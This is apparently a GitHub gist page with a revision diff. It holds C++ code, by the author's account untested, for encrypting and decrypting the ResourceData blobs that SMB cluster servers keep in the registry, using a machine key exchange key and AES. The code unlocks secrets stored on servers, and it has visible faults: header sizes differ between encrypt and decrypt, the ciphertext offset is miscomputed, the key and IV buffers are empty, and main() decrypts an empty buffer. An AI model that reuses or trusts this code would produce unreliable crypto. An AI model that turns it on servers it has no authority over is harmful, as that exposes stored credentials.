hAlgorithm; auto error{ BCryptOpenAlgorithmProvider(&hAlgorithm, algId.c_str(), L"Microsoft Primitive Provider", 0) }; if (error != STATUS_SUCCESS) { throw error; } return hAlgorithm; } void main() { std::wstring cngProvider{ L"NAME" }; DWORD dwProvType{ PROV_RSA_FULL }; // Any value here is likely fine std::wstring keyContainer{ L"NAME" }; CryptProvider cryptoProvider(cngProvider, dwProvType, keyContainer, 0); std::vector<UCHAR> resourceData; cryptoProvider.Decrypt(resourceData); const auto headerSize{ sizeof(DWORD) * 3 }; auto embeddedIvSize{ reinterpret_cast<DWORD*>(resourceData.data()) }; auto embeddedSecretSize{ reinterpret_cast<DWORD*>(resourceData.data()) + 1 }; auto plaintext{ resourceData.data() + headerSize + *embeddedIvSize + *embeddedSecretSize }; } -
EvanMcBroom revised this gist
Dec 6, 2024 . 1 changed file with 6 additions and 6 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -17,12 +17,12 @@ class CryptProvider { public: CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container, DWORD dwFlags); virtual ~CryptProvider(); void Encrypt(const std::vector<UCHAR>& plaintext, std::vector<UCHAR>& resourceData) { this->Encrypt((const PUCHAR)(plaintext.data()), plaintext.size(), resourceData); } void Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData); void Decrypt(std::vector<UCHAR>&); private: @@ -34,9 +34,9 @@ class CryptProvider { CryptProvider(const CryptProvider&) = default; CryptProvider& operator=(const CryptProvider&) = default; void EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData); void GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv); BCRYPT_ALG_HANDLE OpenAlgorithm(const std::wstring& algId); }; CryptProvider::CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container, ULONG dwFlags) { -
EvanMcBroom created this gist
Dec 6, 2024 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,227 @@ // Copyright (C) 2024 Evan McBroom // // The code may be used to encrypt or decrypt the ResourceData // content which SMB cluster servers store in the registry. The // code has not been tested and the byte offsets for data within // a ResourceData blob may be slightly off, but they should be // close enough to get this working. // #include <windows.h> #include <bcrypt.h> #include <ntstatus.h> #include <stdlib.h> #include <string> #include <vector> #include <wincrypt.h> class CryptProvider { public: CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container, DWORD dwFlags); // x virtual ~CryptProvider(); // x void Encrypt(const std::vector<UCHAR>& plaintext, std::vector<UCHAR>& resourceData) { this->Encrypt((const PUCHAR)(plaintext.data()), plaintext.size(), resourceData); } void Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData); // x void Decrypt(std::vector<UCHAR>&); private: std::wstring _keyName; HCRYPTPROV _cryptProvider{ HCRYPTPROV(INVALID_HANDLE_VALUE) }; HCRYPTKEY _exchangeKey{ HCRYPTKEY(INVALID_HANDLE_VALUE) }; BCRYPT_ALG_HANDLE _algoProvider{ INVALID_HANDLE_VALUE }; CryptProvider(const CryptProvider&) = default; CryptProvider& operator=(const CryptProvider&) = default; void EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData); // x void GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv); // x BCRYPT_ALG_HANDLE OpenAlgorithm(const std::wstring& algId); // x }; CryptProvider::CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container, ULONG dwFlags) { (void)dwFlags; // Unused= auto succeeded{ CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT | CRYPT_NEWKEYSET) }; if (!succeeded) { if (GetLastError() != NTE_EXISTS || !CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT)) { throw GetLastError(); } } _algoProvider = OpenAlgorithm(L"AES"); } CryptProvider::~CryptProvider() { if (HANDLE(_algoProvider) != INVALID_HANDLE_VALUE) { BCryptCloseAlgorithmProvider(_algoProvider, 0); } if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) { CryptDestroyKey(_exchangeKey); } if (HANDLE(_cryptProvider) != INVALID_HANDLE_VALUE) { CryptReleaseContext(_cryptProvider, 0); } } void CryptProvider::Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData) { // Get a key, iv, and secret to use when encrypting the plaintext resourceData.resize(sizeof(DWORD) * 2); BCRYPT_KEY_HANDLE key; std::vector<UCHAR> secret; std::vector<UCHAR> iv; GenerateCryptKey(key, secret, iv); // Store the size of the iv and secret in the output data auto embeddedIvSize = [](std::vector<UCHAR>& resourceData) { return reinterpret_cast<DWORD*>(resourceData.data()); }; auto embeddedSecretSize = [](std::vector<UCHAR>& resourceData) { return reinterpret_cast<DWORD*>(resourceData.data()) + 1; }; *embeddedIvSize(resourceData) = iv.size(); *embeddedSecretSize(resourceData) = secret.size(); // Get the size of the encrypted secret and ciphertext // Use those values to resize the output data to be able to store them auto cbEncryptedSecret{ DWORD(secret.size()) }; EncryptData(&cbEncryptedSecret, nullptr, 0); ULONG cbCiphertext; auto status{ BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, nullptr, 0, nullptr, 0, &cbCiphertext, BCRYPT_BLOCK_PADDING) }; if (status != STATUS_SUCCESS) { throw status; } resourceData.resize(resourceData.size() + iv.size() + cbEncryptedSecret + cbCiphertext); // Embed the iv and unencrypted secret auto embeddedIv{ reinterpret_cast<PUCHAR>(reinterpret_cast<DWORD*>(resourceData.data()) + 2) }; if (iv.size()) { std::memcpy(embeddedIv, iv.data(), iv.size()); } auto embeddedSecret{ embeddedIv + iv.size() }; if (secret.size()) { std::memcpy(embeddedSecret, secret.data(), secret.size()); } // Encrypt the embedded secret in-place EncryptData(embeddedSecretSize(resourceData), embeddedSecret, cbEncryptedSecret); // Encrypt the plaintext and store its ciphertext in the output data status = BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, iv.data(), iv.size(), embeddedSecret + *embeddedSecretSize(resourceData), cbCiphertext, &cbCiphertext, BCRYPT_BLOCK_PADDING); if (status != STATUS_SUCCESS) { throw status; } } void CryptProvider::Decrypt(std::vector<UCHAR>& data) { DWORD error{ 0 }; // Get the key stored in the CNG container that was used to encrypt the embedded secret if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) { CryptDestroyKey(_exchangeKey); } if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) { // Pointers to each component of the resource data const auto headerSize{ sizeof(DWORD) * 3 }; auto embeddedIvSize{ reinterpret_cast<DWORD*>(data.data()) }; auto embeddedSecretSize{ reinterpret_cast<DWORD*>(data.data()) + 1 }; auto embeddedCiphertextSize{ reinterpret_cast<DWORD*>(data.data()) + 2 }; auto embeddedIv{ reinterpret_cast<PUCHAR>(reinterpret_cast<DWORD*>(data.data()) + 3) }; auto embeddedSecret{ embeddedIv + *embeddedIvSize }; auto embeddedCiphertext{ embeddedIv + *embeddedSecretSize }; DWORD size{ *embeddedSecretSize }; // Decrypt the embedded secret in-place if (CryptDecrypt(_exchangeKey, NULL, TRUE, 0, embeddedSecret, &size)) { BCRYPT_KEY_HANDLE cryptKey; // Generate a new key from the decrypted embedded secret auto status{ BCryptGenerateSymmetricKey(_algoProvider, &cryptKey, NULL, 0, embeddedSecret, size, 0) }; if (status == STATUS_SUCCESS) { auto cbCiphertext{ (ULONG)(data.size() - headerSize - *embeddedIvSize - *embeddedSecretSize) }; status = BCryptDecrypt(cryptKey, embeddedCiphertext, cbCiphertext, nullptr, embeddedIv, *embeddedIvSize, embeddedCiphertext, cbCiphertext, &size, BCRYPT_BLOCK_PADDING); if (status != STATUS_SUCCESS) { status = status; } } else { error = status; } } else { error = GetLastError(); } } else { error = GetLastError(); } if (error) { throw error; } } void CryptProvider::EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData) { auto error{ CryptEncrypt(_exchangeKey, NULL, TRUE, 0, pData, pdwSize, pData ? static_cast<DWORD>(cbData) : 0) ? ERROR_SUCCESS : GetLastError() }; if (error != ERROR_SUCCESS) { throw error; } } void CryptProvider::GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv) { DWORD error{ 0 }; auto algorithm{ OpenAlgorithm(L"RNG") }; if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) { CryptDestroyKey(_exchangeKey); } if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) { DWORD blockLength; ULONG cbResult; auto status{ BCryptGetProperty(_algoProvider, BCRYPT_BLOCK_LENGTH, reinterpret_cast<PUCHAR>(&blockLength), sizeof(blockLength), &cbResult, 0) }; if (status == STATUS_SUCCESS) { status = BCryptGenRandom(algorithm, iv.data(), iv.size(), 0); if (status == STATUS_SUCCESS) { if (HANDLE(key) != INVALID_HANDLE_VALUE) { BCryptDestroyKey(key); } status = BCryptGenerateSymmetricKey(_algoProvider, &key, nullptr, 0, secret.data(), secret.size(), 0); if (status != STATUS_SUCCESS) { error = status; } } else { error = status; } } else { error = status; } } else { error = GetLastError(); } BCryptCloseAlgorithmProvider(algorithm, 0); if (error) { throw error; } } BCRYPT_ALG_HANDLE CryptProvider::OpenAlgorithm(const std::wstring& algId) { BCRYPT_ALG_HANDLE hAlgorithm; auto error{ BCryptOpenAlgorithmProvider(&hAlgorithm, algId.c_str(), L"Microsoft Primitive Provider", 0) }; if (error != STATUS_SUCCESS) { throw error; } return hAlgorithm; } void main() { std::wstring cngProvider{ L"NAME" }; DWORD dwProvType{ PROV_RSA_FULL }; // Any value here is likely fine std::wstring keyContainer{ L"NAME" }; CryptProvider cryptoProvider(cngProvider, dwProvType, keyContainer, 0); std::vector<UCHAR> resourceData; cryptoProvider.Decrypt(resourceData); const auto headerSize{ sizeof(DWORD) * 3 }; auto embeddedIvSize{ reinterpret_cast<DWORD*>(resourceData.data()) }; auto embeddedSecretSize{ reinterpret_cast<DWORD*>(resourceData.data()) + 1 }; auto plaintext{ resourceData.data() + headerSize + *embeddedIvSize + *embeddedSecretSize }; }